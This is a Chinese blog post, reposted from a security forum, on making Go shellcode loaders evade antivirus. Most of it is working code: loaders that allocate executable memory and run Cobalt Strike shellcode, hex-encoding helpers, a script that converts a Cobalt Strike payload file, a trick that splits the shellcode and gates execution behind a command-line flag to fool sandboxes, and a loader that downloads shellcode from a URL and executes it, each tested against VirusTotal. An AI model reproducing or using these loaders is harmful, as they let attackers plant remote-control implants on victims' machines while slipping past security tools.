GO静态免杀初探
2021-10-11 15:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:21 收藏

本文转先知社区:https://xz.aliyun.com/t/10296
作者:抹布
原创稿件征集
邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

Go加载器

网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。

package main
import ( "syscall" "unsafe")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
func main() {
xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0)
}

shellcode加密解密

简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。

package main
import ( "bytes" "encoding/hex" "fmt")
func main() { //将[]byte -> string(16进制) shellcode := []byte{0xfc,0x48,0x83, ...} s := hex.EncodeToString(shellcode) fmt.Println(s)
///将string(16进制) -> []byte decode, _ := hex.DecodeString(s) shellcode2 := decode fmt.Println(shellcode2)
//比较[]byte类型的 shellcode shellcode2是否相等 fmt.Println(bytes.Compare(shellcode2, shellcode))
}

cs生成.c格式文件。

用如下python脚本,可以直接转化string(16进制)

import re
str = ""with open("payload.c","r") as f: while True: line = f.readline() if not line: break line = line.strip('\n') str += linelist1 = re.compile(r'\"(.*)\"').findall(str)str2 = ''.join(list1).replace("\\x","")print(str2)

然后替换到加载器上。

package main
import ( "encoding/hex" "syscall" "unsafe")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") code = "fc4883e4f0e8c..."//16进制字符串代码)
func main() {
decode, _ := hex.DecodeString(code) xor_shellcode := decode
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0)
}

这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...

package main
import ( "encoding/hex" "syscall" "unsafe" "flag")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") code = "fc4883e4f0e8c8000000415141505" code2 = "251564831d265488b5260488b5218488b5220488b725"
)
func main() { code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."
decode, _ := hex.DecodeString(code+code2+code3) xor_shellcode := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)


//demo.exe -c run var c string args := flag.String("c", "宝宝巴士", "执行") flag.Parse() c = *args
if c == "run" { _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode))) syscall.Syscall(addr, 0, 0, 0, 0) }

}

我这里使用的go build编译大小近2m,vt杀毒。


执行demo.exe -c run, cs上线

远程加载shellcode

使用resty库,一个远程读取txt文本例子。

package main
import (
"fmt" "github.com/go-resty/resty/v2"
)
func main() { client := resty.New() resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt") str := resp.Body() body := string(str) fmt.Println(body)}

go build 编译后大小近7m。

使用go的net/http包,一个远程读取txt文本例子。

package main
import ( "fmt" "io/ioutil" "net/http")

func main() { url := "http://127.0.0.1/1.txt" resp, err := http.Get(url) if err != nil { fmt.Println(err) } defer resp.Body.Close()
respData, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(err) }
respString := string(respData)
fmt.Println(respString)

}

go build 编译后大小近6m。

思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。

package main
import ( "encoding/hex" "flag" "syscall" "unsafe" "io/ioutil" "net/http"
)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") url = "http://127.0.0.1/1.txt")
func main() {

resp, _ := http.Get(url)
defer resp.Body.Close()
respData, _ := ioutil.ReadAll(resp.Body)
respString := string(respData)
decode, _ := hex.DecodeString(respString) shellcode2 := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode2)), 0x1000|0x2000, 0x40) _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode2[0])), uintptr(len(shellcode2)))
//load.exe -c run var c string args := flag.String("c", "have", "fun") flag.Parse() c = *args
if c == "run" { syscall.Syscall(addr, 0, 0, 0, 0) }
}

go build编译后,vt杀毒测试

总结

加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。

参考

https://www.nctry.com/2314.html https://www.t00ls.cc/viewthread.php?tid=59723 https://www.t00ls.cc/viewthread.php?tid=59987&extra=&highlight=go&page=1

实操推荐:恶意代码攻防

PC端实操地址:http://mrw.so/6doPeP

“阅读原文”体验免费靶场!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652881505&idx=2&sn=b0f16ab0f125f5ac4efe2c3cd2549fd6&chksm=bd59beac8a2e37ba0b6995345af306abf9879b5857e317f443e98e2905e1ffa7f8e7f2551242#rd
如有侵权请联系:admin#unsafe.sh